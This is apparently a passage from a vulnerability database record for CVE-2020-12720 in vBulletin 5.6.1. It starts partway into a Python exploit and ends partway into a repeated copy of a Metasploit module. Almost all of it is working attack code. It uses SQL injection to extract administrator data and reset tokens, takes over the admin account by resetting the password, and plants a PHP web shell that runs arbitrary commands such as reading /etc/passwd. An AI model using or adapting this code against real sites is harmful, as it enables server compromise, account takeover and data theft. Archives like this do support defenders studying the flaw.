= 'auth/ajax-login' \nlData = {'logintype':'cplogin','userid':sUserid,'password':sADMINPASS,'securitytoken':'1589477194-0e3085507fb50fc1631610a28e045c5fa71a2a12'} \noResponse = getData(sURL + sPath, lData) \nsResponse = oResponse.read().decode() \nif 'lostpw' in sResponse: \nprint('[-] Error: authentication for userid ' + sUserid + ' failed') \nsys.exit(1) \nsToken = sResponse.split(',')[1].split(':')[1].replace('\"','').replace('}','') \nprint('[+] Got token: '+sToken) \n \n## cpsession is needed, use this for extra verification \n#for cookie in cj: print(cookie.name, cookie.value, cookie.domain) #etc etc \n \n## First see if our backdoor does not already exists \nsPath = 'ajax/render/admin_sbpanel_pagelist_content_wrapper' \nlData = {'isAjaxTemplateRenderWithData':'true','securitytoken':sToken} \noResponse = getData(sURL + sPath, lData) \nsResponse = oResponse.read().decode() \nif 'cve-2020-12720' in sResponse: \nsPageName = 'cve-2020-12720-' + sResponse.split('/cve-2020-12720-')[1].split(')')[0] \nprint('[+] This machine was already pwned, using \"' + sPageName + '\" for your command') \nreturn sPageName \n \n \n## Create a new empty page \nsPath = 'ajax/api/widget/saveNewWidgetInstance' \nlData = {'containerinstanceid':'0','widgetid':'23','pagetemplateid':'','securitytoken':sToken} \noResponse = getData(sURL + sPath, lData) \nsResponse = oResponse.read().decode() \nsWidgetInstanceID = sResponse.split(',')[0].split(':')[1].replace('}','') \nsPageTemplateID = sResponse.split(',')[1].split(':')[1].replace('}','') \nprint('[+] Got WidgetInstanceID: '+sWidgetInstanceID+' and PageTemplateID: '+sPageTemplateID) \n \n## Now submitting the page content \nsPageName = 'cve-2020-12720-'+randomString() \nsPath = 'ajax/api/widget/saveAdminConfig' \nlData = {'widgetid':'23', \n'pagetemplateid':sPageTemplateID, \n'widgetinstanceid':sWidgetInstanceID, \n'data[widget_type]':'', \n'data[title]':sPageName, \n'data[show_at_breakpoints][desktop]':'1', \n'data[show_at_breakpoints][small]':'1', \n'data[show_at_breakpoints][xsmall]':'1', \n'data[hide_title]':'0', \n'data[module_viewpermissions][key]':'show_all', \n'data[code]':\"echo('###SHELLRESULT###');system($_GET['cmd']);echo('###SHELLRESULT###');\", \n'securitytoken':sToken} \noResponse = getData(sURL + sPath, lData) \nif not oResponse.code == 200: print('[!] Error submitting page content for ' + sPageName) \n \n## Finally saving the new page \nsPath = 'admin/savepage' \nlData = {'input[ishomeroute]':'0', \n'input[pageid]':'0', \n'input[nodeid]':'0', \n'input[userid]':'1', \n'input[screenlayoutid]':'2', \n'input[templatetitle]':sPageName, \n'input[displaysections[0]]':'[{\"widgetId\":\"23\",\"widgetInstanceId\":\"' + sWidgetInstanceID + '\"}]', \n'input[displaysections[1]]':'[]', \n'input[displaysections[2]]':'[]', \n'input[displaysections[3]]':'[]', \n'input[pagetitle]':sPageName, \n'input[resturl]':sPageName, \n'input[metadescription]':'Photubias+Shell', \n'input[pagetemplateid]':sPageTemplateID, \n'url':sURL, \n'securitytoken':sToken} \noResponse = getData(sURL + sPath, lData) \nif not oResponse.code == 200: print('[!] Error saving page content for ' + sPageName) \nreturn sPageName \n \ndef main(): \nif len(sys.argv) == 1: \nprint('[!] No arguments found: python3 CVE-2020-12720.py <URL> <CMD>') \nprint(' Example: ./CVE-2020-12720.py http://192.168.50.130/ \"cat /etc/passwd\"') \nprint(' But for now, ask questions then') \nsURL = input('[?] Please enter the address and path to vBulletin ([http://192.168.50.130/): ') \nif sURL == '': sURL = 'http://192.168.50.130' \nelse: \nsURL = sys.argv[1] \nsCMD = sys.argv[2] \nif not sURL[:-1] == '/': sURL += '/' \nif not sURL[:4].lower() == 'http': sURL = 'http://' + sURL \nprint('[+] Welcome, first verifying the SQLi vulnerability') \nif verifyBug(sURL): \nprint(\"----\\n\" + '[+] Attempting automatic admin account takeover') \nsUSERID = takeoverAccount(sURL, sNEWPASS) \nsADMINPASS = sNEWPASS \nif sUSERID == '': \nsUSERID = '1' \nsADMINPASS = input('[?] Please enter the admin password (userid ' + sUSERID + '): ') \nelse: \nsADMINPASS = input('[?] Please enter the admin password (userid ' + sUSERID + '): ') \nprint(\"----\\n\"+'[+] So far so good, attempting the creation of the backdoor') \nsPageName = createBackdoor(sURL, sADMINPASS, sUSERID) \n \nif len(sys.argv) == 1: sCMD = input('[?] Please enter the command to run [id]: ') \nif sCMD == '': sCMD = 'id' \nsCmd = urllib.parse.quote(sCMD) \nsPath = sPageName + \"?cmd=\" + sCmd \n \nprint('[+] Opening '+sURL + sPath) \ntry: \noRequest = urllib.request.Request(url = sURL + sPath) \noResponse = oOpener.open(oRequest, timeout = iTimeout) \nprint('#######################') \nsResponse = oResponse.read().decode() \nprint('[+] Command result:') \nprint(sResponse.split('###SHELLRESULT###')[1]) \nexcept: \nprint('[-] Something went wrong, bad command?') \nsys.exit(1) \n \n \nif __name__ == \"__main__\": \nmain() \n`\n", "sourceHref": "https://packetstormsecurity.com/files/download/157716/vbulletin561-sql.txt", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-06-03T02:50:14", "description": "", "cvss3": {}, "published": "2020-06-02T00:00:00", "type": "packetstorm", "title": "vBulletin 5.6.1 SQL Injection", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2020-12720"], "modified": "2020-06-02T00:00:00", "id": "PACKETSTORM:157904", "href": "https://packetstormsecurity.com/files/157904/vBulletin-5.6.1-SQL-Injection.html", "sourceData": "`## \n# This module requires Metasploit: https://metasploit.com/download \n# Current source: https://github.com/rapid7/metasploit-framework \n## \n \nclass MetasploitModule < Msf::Exploit::Remote \nRank = ManualRanking \n \ninclude Msf::Exploit::Remote::HttpClient \ninclude Msf::Exploit::Remote::AutoCheck \n \nHttpFingerprint = { method: 'GET', uri: '/', pattern: [/vBulletin.version = '5.+'/] } \n \ndef initialize(info = {}) \nsuper( \nupdate_info( \ninfo, \n'Name' => 'vBulletin /ajax/api/content_infraction/getIndexableContent nodeid Parameter SQL Injection', \n'Description' => %q{ \nThis module exploits a SQL injection vulnerability found in vBulletin 5.6.1 and earlier \nThis module uses the getIndexableContent vulnerability to reset the administrators password, \nit then uses the administrators login information to achieve RCE on the target. This module \nhas been tested successfully on VBulletin Version 5.6.1 on Ubuntu Linux distribution. \n}, \n'License' => MSF_LICENSE, \n'Author' => [ \n'Charles Fol <folcharles[at]gmail.com>', # (@cfreal_) CVE \n'Zenofex <zenofex[at]exploitee.rs>', # (@zenofex) PoC and Metasploit module \n], \n'References' => [ \n['CVE', '2020-12720'], \n], \n'Platform' => 'php', \n'Arch' => ARCH_PHP, \n'Targets' => [ \n['Automatic', {}] \n], \n'Privileged' => false, \n'DisclosureDate' => '2020-03-12', \n'DefaultTarget' => 0 \n) \n) \nregister_options([ \nOptString.new('TARGETURI', [true, 'Path to vBulletin', '/']), \nOptInt.new('NODE', [false, 'Valid Node ID']), \nOptInt.new('MINNODE', [true, 'Valid Node ID', 1]), \nOptInt.new('MAXNODE', [true, 'Valid Node ID', 200]), \nOptBool.new('MANUALLOSTPASS', [false, 'true if an administrator lost password request has already been sent.', false]) \n]) \nend \n \n# Performs SQLi attack \ndef do_sqli(node_id, tbl_prfx, field, table, condition) \nwhere_cond = condition.nil? || condition == '' ? '' : \"where #{condition}\" \ninjection = \" UNION ALL SELECT 0x2E,0x74,0x68,0x65,0x2E,0x65,0x78,0x70,0x6C,0x6F,0x69,0x74,0x65,0x65,0x72,0x73,0x2E,#{field},0x2E,0x7A,0x65,0x6E,0x6F,0x66,0x65,0x78 \" \ninjection << \"from #{tbl_prfx}#{table} #{where_cond}--\" \n \nprint_status(\"Performing SQL injection on target to retrieve '#{field}' from '#{tbl_prfx}#{table}'.\") \nres = send_request_cgi({ \n'method' => 'POST', \n'uri' => normalize_uri(target_uri.path, 'ajax', 'api', 'content_infraction', 'getIndexableContent'), \n'vars_post' => { \n'nodeId[nodeid]' => \"#{node_id}#{injection}\" \n} \n}) \n \nreturn nil unless res && res.code == 200 && (parsed_resp = res.get_json_document) && parsed_resp['rawtext'] \n \nparsed_resp['rawtext'] \nend \n \n# Gets human verification token \ndef get_hv_hash \nprint_status(\"Making request to '#{target_uri.path}/ajax/api/hv/generateToken' to retrieve HV token.\") \nres = send_request_cgi({ \n'method' => 'POST', \n'uri' => normalize_uri(target_uri.path, 'ajax', 'api', 'hv', 'generateToken'), \n'vars_post' => { \n'securitytoken' => 'guest' \n} \n}) \n \nreturn nil unless res && res.code == 200 && (parsed_resp = res.get_json_document) && parsed_resp['hash'] \n \nhv_hash = parsed_resp['hash'] \nprint_good(\"Retrieved '#{hv_hash}' human verification token.\") \nhv_hash \nend \n \n# Gets the human verification (question based) answer \ndef get_hv_ques_answer(node_id, tbl_prfx, questionid) \nprint_status(\"Using HV token '#{questionid}' and SQLinjection to determine HV question answer.\") \nhv_answer = do_sqli(node_id, tbl_prfx, 'regex', 'hvquestion', \"questionid = '#{questionid}'\") \n \nif questionid.nil? \nreturn nil \nend \n \nprint_good(\"Retrieved the answer '#{hv_answer}' (REGEX) to the HV question with id '#{questionid}'.\") \nhv_answer \nend \n \n# Gets the human verification (image based) answer \ndef get_hv_answer(node_id, tbl_prfx, hv_hash) \nprint_status(\"Using HV token '#{hv_hash}' and SQLinjection to determine HV answer.\") \nhv_answer = do_sqli(node_id, tbl_prfx, 'answer', 'humanverify', \"hash = '#{hv_hash}'\") \n \nif hv_answer.nil? \nreturn nil \nend \n \nprint_good(\"Retrieved '#{hv_answer}' answer to HV token '#{hv_hash}'.\") \nhv_answer \nend \n \n# Gets the prefix to the SQL tables used in vbulletin install \ndef get_table_prefix(node_id) \nprint_status('Attempting to determine the vBulletin table prefix.') \ntable_name = do_sqli(node_id, '', 'table_name', 'information_schema.columns', \"column_name='phrasegroup_cppermission'\") \n \nunless table_name && table_name.split('language').index \nfail_with(Failure::Unknown, 'Could not determine the vBulletin table prefix.') \nend \n \ntbl_prefix = table_name.split('language')[0] \nprint_good(\"Sucessfully retrieved table to get prefix from #{table_name}.\") \n \ntbl_prefix \nend \n \n# Sends the request to begin forgot password request \ndef begin_reset_pass(admin_email, hv_answer, hv_hash, type = 'Image') \nprint_status(\"Making request to '#{target_uri.path}/auth/lostpw' to begin lost password process.\") \nif type == 'Question' \nhv_field_name1 = 'humanverify[input]' \nhv_field_name2 = 'humanverify[hash]' \nelsif type == 'Recaptcha2' \nhv_field_name1 = 'unused' \nhv_field_name2 = 'humanverify[g-recaptcha-response]' \nelse \nhv_field_name1 = 'humanverify[input]' \nhv_field_name2 = 'humanverify[hash]' \nend \n \nres = send_request_cgi({ \n'method' => 'POST', \n'uri' => normalize_uri(target_uri.path, 'auth', 'lostpw'), \n'vars_post' => { \n'email' => admin_email.to_s, \nhv_field_name1.to_s => hv_answer.to_s, \nhv_field_name2.to_s => hv_hash.to_s, \n'securitytoken' => 'guest' \n} \n}) \n \nreturn false unless res && res.code == 200 \n \nparsed_resp = res.get_json_document \n \nreturn false if parsed_resp['response'] && parsed_resp['response']['errors'] \n \ntrue \nend \n \n# Attempts to login to vBulletin install \ndef login(user, pass, type = '') \nprint_status(\"Making login request to '#{target_uri.path}/auth/ajax-login' with username: '#{user}' and password: '#{pass}'.\") \nres = send_request_cgi({ \n'method' => 'POST', \n'uri' => normalize_uri(target_uri.path, 'auth', 'ajax-login'), \n'vars_post' => { \n'logintype': type.to_s, \n'username' => user.to_s, \n'password' => pass.to_s, \n'securitytoken' => 'guest' \n} \n}) \n \nreturn [nil, nil] unless res && res.code == 200 && (parsed_resp = res.get_json_document) && parsed_resp['success'] \n \nprint_good(\"Successfully logged in as #{user} #{type}.\") \n \n[res.get_cookies, parsed_resp['newtoken']] \nend \n \n# Gets an administrator's info from the database using SQLi \ndef get_admin_info(node_id, tbl_prefix) \nuid = do_sqli(node_id, tbl_prefix, 'userid', 'administrator', nil) \nusername = do_sqli(node_id, tbl_prefix, 'username', 'user', \"userid = '#{uid}'\") \ntoken = do_sqli(node_id, tbl_prefix, 'token', 'user', \"userid = '#{uid}'\") \nemail = do_sqli(node_id, tbl_prefix, 'email', 'user', \"userid = '#{uid}'\") \n \nunless uid && username && token && email \nreturn [nil, nil, nil, nil] \nend \n \n[uid, username, token, email] \nend \n \n# Activates vBulletin site builder \ndef activate_sitebuilder(pageid, nodeid, userid, sec_token, cookie_jar) \nprint_status(\"Making request to '#{target_uri.path}/ajax/activate-sitebuilder' to activate site-builder functionality.\") \n \nres = send_request_cgi({ \n'method' => 'POST', \n'uri' => normalize_uri(target_uri.path, 'ajax', 'activate-sitebuilder'), \n'cookie' => [cookie_jar], \n'headers' => { \n'X-Requested-With' => 'XMLHttpRequest' \n}, \n'vars_post' => { \n'pageid' => pageid.to_s, \n'nodeid' => nodeid.to_s, \n'userid' => userid.to_s, \n'loadMenu' => 'false', \n'isAjaxTemplateRender' => 'true', \n'isAjaxTemplateRenderWithData' => 'true', \n'securitytoken' => sec_token.to_s \n} \n}) \n \nreturn nil unless res && res.code == 200 && (parsed_resp = res.get_json_document) && !parsed_resp['errors'] \n \nprint_good('Successfully enabled site-builder functionality.') \ntrue \nend \n \n# Creates new widget instance \ndef new_widget_instance(sec_token, cookie_jar) \nprint_status(\"Making request to '#{target_uri.path}/ajax/api/widget/saveNewWidgetInstance' to create new widget.\") \nres = send_request_cgi({ \n'method' => 'POST', \n'uri' => normalize_uri(target_uri.path, 'ajax', 'api', 'widget', 'saveNewWidgetInstance'), \n'cookie' => [cookie_jar], \n'vars_post' => { \n'containerinstanceid' => '0', \n'widgetid' => '23', # PHP widget type ID \n'pagetemplateid' => '', \n'securitytoken' => sec_token.to_s \n} \n}) \n \nreturn [nil, nil] unless res && res.code == 200 && (parsed_resp = res.get_json_document) && parsed_resp['widgetinstanceid'] \n \nprint_good('Created new widget instance.') \n \n[parsed_resp['widgetinstanceid'], parsed_resp['pagetemplateid']] \nend \n \n# Saves a new widget to vBulletin. \ndef save_widget(pt_id, wi_id, payload, sec_token, cookie_jar) \nprint_status(\"Making request to '#{target_uri.path}/ajax/api/widget/saveAdminConfig' to add payload to widget.\") \nres = send_request_cgi({ \n'method' => 'POST', \n'uri' => normalize_uri(target_uri.path, 'ajax', 'api', 'widget', 'saveAdminConfig'), \n'cookie' => [cookie_jar], \n'vars_post' => { \n'widgetid' => '23', # PHP widget type ID \n'pagetemplateid' => pt_id.to_s, \n'widgetinstanceid' => wi_id.to_s, \n'data[widget_type]' => '', \n'data[title]' => rand_text_alphanumeric(rand(6..16)), \n'data[show_at_breakpoints][desktop]' => '1', \n'data[show_at_breakpoints][small]' => '1', \n'data[show_at_breakpoints][xsmall]' => '1', \n'data[hide_title]' => '1', \n'data[module_viewpermissions][key]' => 'show_all', \n'data[code]' => payload.encoded.to_s, \n'securitytoken' => sec_token.to_s \n} \n}) \n \nreturn nil unless res && res.code == 200 && (parsed_resp = res.get_json_document) && !parsed_resp['errors'] \n \nprint_good('Successfully added payload to widget.') \n \ntrue \nend \n \n# Sends request to reset password using activation id. \ndef reset_password(admin_uid, act_id, new_pass) \nprint_status(\"Sending reset password request to '#{target_uri.path}/auth/reset-password'.\") \nres = send_request_cgi({ \n'method' => 'POST', \n'uri' => normalize_uri(target_uri.path, 'auth', 'reset-password'), \n'headers' => { \n'X-Requested-With' => 'XMLHttpRequest' \n}, \n'vars_post' => { \n'userid' => admin_uid.to_s, \n'activationid' => act_id.to_s, \n'new-password' => new_pass.to_s, \n'new-password-confirm' => new_pass.to_s, \n'securitytoken' => 'guest' \n} \n}) \n \nunless res && res.code == 200 && res.body.to_s =~ /Logging in/ \nreturn nil \nend \n \nprint_good(\"User with userid '#{admin_uid}' successfully reset password to '#{new_pass}'.\") \n \ntrue \nend \n \n# Deletes a page in vbulletin \ndef delete_page(pageid, login_token, cookie_jar) \nprint_status(\"Sending delete page request to '#{target_uri.path}/ajax/api/page/delete'.\") \nres = send_request_cgi({ \n'method' => 'POST', \n'uri' => normalize_uri(target_uri.path, 'ajax', 'api', 'page', 'delete'), \n'cookie' => [cookie_jar], \n'headers' => { \n'X-Requested-With' => 'XMLHttpRequest' \n}, \n'vars_post' => { \n'pageid' => pageid.to_s, \n'securitytoken' => login_token.to_s \n} \n}) \n \nreturn nil unless res && res.code == 200 && (parsed_resp = res.get_json_document) && !parsed_resp['errors'] \n \nprint_good(\"Successfully deleted page with pageid: #{pageid}\") \n \ntrue \nend \n \n# Makes request to execute PHP payload. \ndef exec_payload(rest_url) \nprint_status(\"Sending request to '#{normalize_uri(target_uri.path, rest_url)}' to execute payload.\") \nres = send_request_cgi({ \n'method' => 'GET', \n'uri' => normalize_uri(target_uri.path, rest_url) \n}) \n \nunless res && res.code == 200 \nreturn nil \nend \n \nprint_good('Request made succesfully, payload should be executing now.') \n \ntrue \nend \n \n# Fetches a human verification question based on hash. \ndef get_hv_question(hash) \nprint_status(\"Sending request to '#{target_uri.path}/ajax/api/hv/fetchHvQuestion' to get human verification question.\") \nres = send_request_cgi({ \n'method' => 'POST', \n'uri' => normalize_uri(target_uri.path, 'ajax', 'api', 'hv', 'fetchHvQuestion'), \n'vars_post' => { \n'hash' => hash.to_s \n} \n}) \n \nunless res && res.code == 200 && res.body.to_s !~ /\"errors\"/ \nreturn nil \nend \n \nres.body.to_s.tr('\"', '') \nend \n \n# Saves a new page to the vBulletin install \ndef save_page(nodeid, userid, pt_id, payload_url, wi_id, session_info) \nprint_status(\"Sending request to '#{target_uri.path}/admin/savepage' to save new page at '#{payload_url}'.\") \nres = send_request_cgi({ \n'method' => 'POST', \n'uri' => normalize_uri(target_uri.path, 'admin', 'savepage'), \n'cookie' => [session_info[1]], \n'vars_post' => { \n'input[ishomeroute]' => '0', \n'input[pageid]' => '0', \n'input[nodeid]' => nodeid.to_s, \n'input[userid]' => userid.to_s, \n'input[screenlayoutid]' => '2', \n'input[templatetitle]' => rand_text_alphanumeric(rand(5..10)), \n'input[displaysections[0]]' => '[]', \n'input[displaysections[1]]' => '[]', \n'input[displaysections[2]]' => \"[{\\\"widgetId\\\":\\\"23\\\",\\\"widgetInstanceId\\\":\\\"#{wi_id}\\\"}]\", \n'input[displaysections[3]]' => '[]', \n'input[pagetitle]' => rand_text_alphanumeric(rand(5..10)), \n'input[resturl]' => payload_url.to_s, \n'input[metadescription]' => rand_text_alphanumeric(rand(5..10)), \n'input[pagetemplateid]' => pt_id.to_s, \n'url' => normalize_uri(target_uri.path), \n'securitytoken' => session_info[0].to_s \n} \n}) \n \nreturn nil unless res && res.code == 200 && (parsed_resp = res.get_json_document) && parsed_resp['success'] \n \nprint_good(\"Page succesfully created and should be accessible at '#{normalize_uri(target_uri.path, payload_url.to_s)}'.\") \n \nparsed_resp['pageid'] \nend \n \n# Gets human verification type (options: \"Question\" | \"Image\" | Recaptcha2 | \"Disabled\") \ndef get_hv_type \n \nprint_status(\"Sending request to '#{target_uri.path}/ajax/api/hv/fetchHvType' to get human verification type.\") \nres = send_request_cgi({ \n'method' => 'POST', \n'uri' => normalize_uri(target_uri.path, 'ajax', 'api', 'hv', 'fetchHvType') \n}) \n \nunless res && res.code == 200 \nreturn nil \nend \n \nhv_type = res.body.to_s.tr('\"', '') \nprint_good(\"Retrieved HV/captcha type of '#{hv_type}'.\") \n \nhv_type.to_s.tr(\"'\", '') \nend \n \n# Brute force a nodeid (attack requires a valid nodeid) \ndef brute_force_node \nmin = datastore['MINNODE'] \nmax = datastore['MAXNODE'] \n \nif min > max \nprint_error(\"MINNODE can't be major than MAXNODE.\") \nreturn nil \nend \n \nfor node_id in min..max \nif exists_node?(node_id) \nreturn node_id \nend \nend \n \nnil \nend \n \n# Checks if a nodeid is valid \ndef exists_node?(id) \nres = send_request_cgi({ \n'method' => 'POST', \n'uri' => normalize_uri(target_uri.path, 'ajax', 'api', 'node', 'getNode'), \n'vars_post' => { \n'nodeid' => id.to_s \n} \n}) \n \nunless res && res.code == 200 \nreturn nil \nend \n \nreturn nil unless res && res.code == 200 && (parsed_resp = res.get_json_document) && !parsed_resp['errors'] \n \nprint_good(\"Sucessfully found node at id #{id}\") \ntrue \nend \n \n# Gets a node through BF or user supplied value \ndef get_node \nif datastore['NODE'].nil? || datastore['NODE'] <= 0 \nprint_status('Brute forcing to find a valid node id.') \nreturn brute_force_node \nend \n \nprint_status(\"Checking node id '#{datastore['NODE']}'.\") \nreturn datastore['NODE'] if exists_node?(datastore['NODE']) \n \nnil \nend \n \n# Check function for exploit \ndef check \nres = send_request_cgi({ \n'uri' => normalize_uri(target_uri.path, 'js', 'login.js') \n}) \n \nreturn CheckCode::Unknown unless res && res.code == 200 \n \nreturn CheckCode::Safe if res.body.to_s =~ /vBulletin 5\\.6\\.1 Patch Level 1/ \n \nif res.body.to_s =~ /vBulletin ([\\.0-9]+)/ \nif Gem::Version.new(Regexp.last_match(1)) > Gem::Version.new('5.6.1') \nreturn CheckCode::Safe \nelsif Gem::Version.new(Regexp.last_match(1)) > Gem::Version.new('5.0.0') \nreturn CheckCode::Appears \nend \n \nreturn CheckCode::Detected \nend \n \nCheckCode::Safe \nend \n \n# Performs all exploit functionality \ndef exploit \nsuper \n \n# Get node_id for requests \nnode_id = get_node \nfail_with(Failure::Unknown, 'Could not get a valid node id for the vBulletin install.') unless node_id \n \n# Get vBulletin table prefix \ntable_prfx = get_table_prefix(node_id) \nfail_with(Failure::UnexpectedReply, 'Could not determine the table prefix for the vBulletin install.') unless table_prfx \n \n# Get admin info (email, uid, token) \nadmin_uid, admin_user, admin_token, admin_email = get_admin_info(node_id, table_prfx) \nunless admin_uid && admin_user && admin_token && admin_email \nfail_with(Failure::UnexpectedReply, 'Could not retrieve administrator uid, username, email and token.') \nend \nprint_good(\"Retrieved administrator uid: #{admin_uid} user: #{admin_user} email: #{admin_email} and password: #{admin_token}\") \n \nif !datastore['MANUALLOSTPASS'] \n# Determine HV type \nhv_type = get_hv_type \n \nfail_with(Failure::Unknown, 'Invalid human verification type, you must request a new password for the administrator manually (and set MANUALLOSTPASS).') unless ['Image', 'Question', 'Recaptcha2', 'Disabled'].include? hv_type \n \nfail_with(Failure::Unknown, \"Site uses Recaptcha2, retry with MANUALLOSTPASS enabled and after a lost password request to an administrator account (#{admin_email})\") unless ['Recaptcha2', 'Disabled'].exclude? hv_type \n \n# Generate HV token and get answer \nif hv_type == 'Image' && hv_type != 'Disabled' \nhv_hash = get_hv_hash \nhv_answer = get_hv_answer(node_id, table_prfx, hv_hash) \nfail_with(Failure::UnexpectedReply, 'Could not retrieve human verification hash or answer.') unless hv_hash && hv_answer \n \nelsif hv_type == 'Question' && hv_type != 'Disabled' \nhv_hash = get_hv_hash \nfail_with(Failure::UnexpectedReply, 'Could not retrieve human verification question hash.') unless hv_hash \n \nques_id = get_hv_answer(node_id, table_prfx, hv_hash) \nfail_with(Failure::UnexpectedReply, 'Could not retrieve human verification question id.') unless ques_id \n \nhv_question = get_hv_question(hv_hash) \nhv_answer = get_hv_ques_answer(node_id, table_prfx, ques_id) \nfail_with(Failure::UnexpectedReply, 'Could not retrieve human verification question or answer.') unless hv_question && hv_answer \n \nprint_good(\"Retrieved the HV question '#{hv_question}' and answer '#{hv_answer}' (regex).\") \nend \n \n# Make request to forget my password \nbrp_ret = begin_reset_pass(admin_email, hv_answer, hv_hash, hv_type) \n \n# We fail here when the answer to the HV question contains a complex regex or is recaptcha2 \nfail_with(Failure::Unknown, 'Site requires captcha that we cannot bypass.') unless brp_ret \nend \n \n# Get Activation ID for forgot password request from DB \nactivation_id = do_sqli(node_id, table_prfx, 'activationid', 'useractivation', \"userid = '#{admin_uid}'\") \nfail_with(Failure::UnexpectedReply, 'Could not retrieve activation id for forgot password request.') unless activation_id \n \n# Make request setting new password \nnew_pass = rand_text_alphanumeric(rand(10..16)) \nrp_ret = reset_password(admin_uid, activation_id, new_pass) \nfail_with(Failure::UnexpectedReply, \"Error attempting to reset password with activation id '#{activation_id}'.\") unless rp_ret \n \n# Login to vBulletin \ncookie_jar, login_token = login(admin_user, new_pass) \nfail_with(Failure::NoAccess, \"Could not login with username: '#{admin_user}' and password: '#{new_pass}'.\") unless login_token \n \n# Activate Site Builder (is this necessary?!) \nactsb_ret = activate_sitebuilder(1, node_id, admin_uid, login_token, cookie_jar) \nfail_with(Failure::UnexpectedReply, 'Could not activate site builder.') unless actsb_ret \n \n# Login to vBulletin \ncookie_jar, login_token = login(admin_user, new_pass, 'cplogin') \nfail_with(Failure::NoAccess, \"Could not login to CP with username: '#{admin_user}' and password: '#{new_pass}'.\") unless login_token \n \n# Create new widget \nwi_id, pt_id = new_widget_instance(login_token, cookie_jar) \nfail_with(Failure::UnexpectedReply, 'Could not create new widget instance.') unless wi_id && pt_id \n \n# Save modifications to widget \nsw_ret = save_widget(pt_id, wi_id, payload, login_token, cookie_jar) \nfail_with(Failure::UnexpectedReply, 'Could not save payload modifications into widget instance.') unless sw_ret \n \n# Add page with widget embedded \npayload_url = rand_text_alphanumeric(rand(6..10)) \nsession_info = [login_token, cookie_jar] \npage_id = save_page(node_id, admin_uid, pt_id, payload_url, wi_id, session_info) \nfail_with(Failure::UnexpectedReply, 'Could not save newly created page with malicious widget.') unless page_id \n \n# Execute php payload \nprint_good(\"Executing PHP payload (#{payload.encoded.length} bytes) at #{normalize_uri(target_uri.path, payload_url)}.\") \nexec_payload(payload_url) \n \n# Delete page with widget embedded within it \ndp_ret = delete_page(page_id, login_token, cookie_jar) \nprint_bad('Could not delete page (cleanup phase).') unless dp_ret \nend \n \nend \n`\n", "sourceHref": "https://packetstormsecurity.com/files/download/157904/vbulletin_getindexablecontent.rb.txt", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "zdt": [{"lastseen": "2020-07-19T23:57:35", "description": "This Metasploit module exploits a SQL injection vulnerability found in vBulletin versions 5.6.1 and below. This module uses the getIndexableContent vulnerability to reset the administrator's password and it then uses the administrators login information to achieve remote code execution on the target. This module has been tested successfully on vBulletin version 5.6.1 on the Ubuntu Linux distribution.", "cvss3": {}, "published": "2020-06-02T00:00:00", "type": "zdt", "title": "vBulletin 5.6.1 SQL Injection Exploit", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2020-12720"], "modified": "2020-06-02T00:00:00", "id": "1337DAY-ID-34507", "href": "https://0day.today/exploit/description/34507", "sourceData": "##\r\n# This module requires Metasploit: https://metasploit.com/download\r\n# Current source: https://github.com/rapid7/metasploit-framework\r\n##\r\n\r\nclass MetasploitModule < Msf::Exploit::Remote\r\n Rank = ManualRanking\r\n\r\n include Msf::Exploit::Remote::HttpClient\r\n include Msf::Exploit::Remote::AutoCheck\r\n\r\n HttpFingerprint = { method: 'GET', uri: '/', pattern: [/vBulletin.version = '5.+'/] }\r\n\r\n def initialize(info = {})\r\n super(\r\n update_info(\r\n info,\r\n 'Name' => 'vBulletin /ajax/api/content_infraction/getIndexableContent nodeid Parameter SQL Injection',\r\n 'Description' => %q{\r\n This module exploits a SQL injection vulnerability found in vBulletin 5.6.1 and earlier\r\n This module uses the getIndexableContent vulnerability to reset the administrators password,\r\n it then uses the administrators login information to achieve RCE on the target. This module\r\n has been tested successfully on VBulletin Version 5.6.1 on Ubuntu Linux distribution.\r\n },\r\n 'License' => MSF_LICENSE,\r\n 'Author' => [\r\n 'Charles Fol <folcharles[at]gmail.com>', # (@cfreal_) CVE\r\n 'Zenofex <zenofex[at]exploitee.rs>', # (@zenofex) PoC and Metasploit module\r\n ],\r\n 'References' => [\r\n ['CVE', '2020-12720'],\r\n ],\r\n 'Platform' => 'php',\r\n 'Arch' => ARCH_PHP,\r\n 'Targets' => [\r\n ['Automatic', {}]\r\n ],\r\n 'Privileged' => false,\r\n 'DisclosureDate' => '2020-03-12',\r\n 'DefaultTarget' => 0\r\n )\r\n )\r\n register_options([\r\n OptString.new('TARGETURI', [true, 'Path to vBulletin', '/']),\r\n OptInt.new('NODE', [false, 'Valid Node ID']),\r\n OptInt.new('MINNODE', [true, 'Valid Node ID', 1]),\r\n OptInt.new('MAXNODE', [true, 'Valid Node ID', 200]),\r\n OptBool.new('MANUALLOSTPASS', [false, 'true if an administrator lost password request has already been sent.', false])\r\n ])\r\n end\r\n\r\n # Performs SQLi attack\r\n def do_sqli(node_id, tbl_prfx, field, table, condition)\r\n where_cond = condition.nil? || condition == '' ? '' : \"where #{condition}\"\r\n injection = \" UNION ALL SELECT 0x2E,0x74,0x68,0x65,0x2E,0x65,0x78,0x70,0x6C,0x6F,0x69,0x74,0x65,0x65,0x72,0x73,0x2E,#{field},0x2E,0x7A,0x65,0x6E,0x6F,0x66,0x65,0x78 \"\r\n injection << \"from #{tbl_prfx}#{table} #{where_cond}--\"\r\n\r\n print_status(\"Performing SQL injection on target to retrieve '#{field}' from '#{tbl_prfx}#{table}'.\")\r\n res = send_request_cgi({\r\n 'method' => 'POST',\r\n 'uri' => normalize_uri(target_uri.path, 'ajax', 'api', 'content_infraction', 'getIndexableContent'),\r\n 'vars_post' => {\r\n 'nodeId[nodeid]' => \"#{node_id}#{injection}\"\r\n }\r\n })\r\n\r\n return nil unless res && res.code == 200 && (parsed_resp = res.get_json_document) && parsed_resp['rawtext']\r\n\r\n parsed_resp['rawtext']\r\n end\r\n\r\n # Gets human verification token\r\n def get_hv_hash\r\n print_status(\"Making request to '#{target_uri.path}/ajax/api/hv/generateToken' to retrieve HV token.\")\r\n res = send_request_cgi({\r\n 'method' => 'POST',\r\n 'uri' => normalize_uri(target_uri.path, 'ajax', 'api', 'hv', 'generateToken'),\r\n 'vars_post' => {\r\n 'securitytoken' => 'guest'\r\n }\r\n })\r\n\r\n return nil unless res && res.code == 200 && (parsed_resp = res.get_json_document) && parsed_resp['hash']\r\n\r\n hv_hash = parsed_resp['hash']\r\n 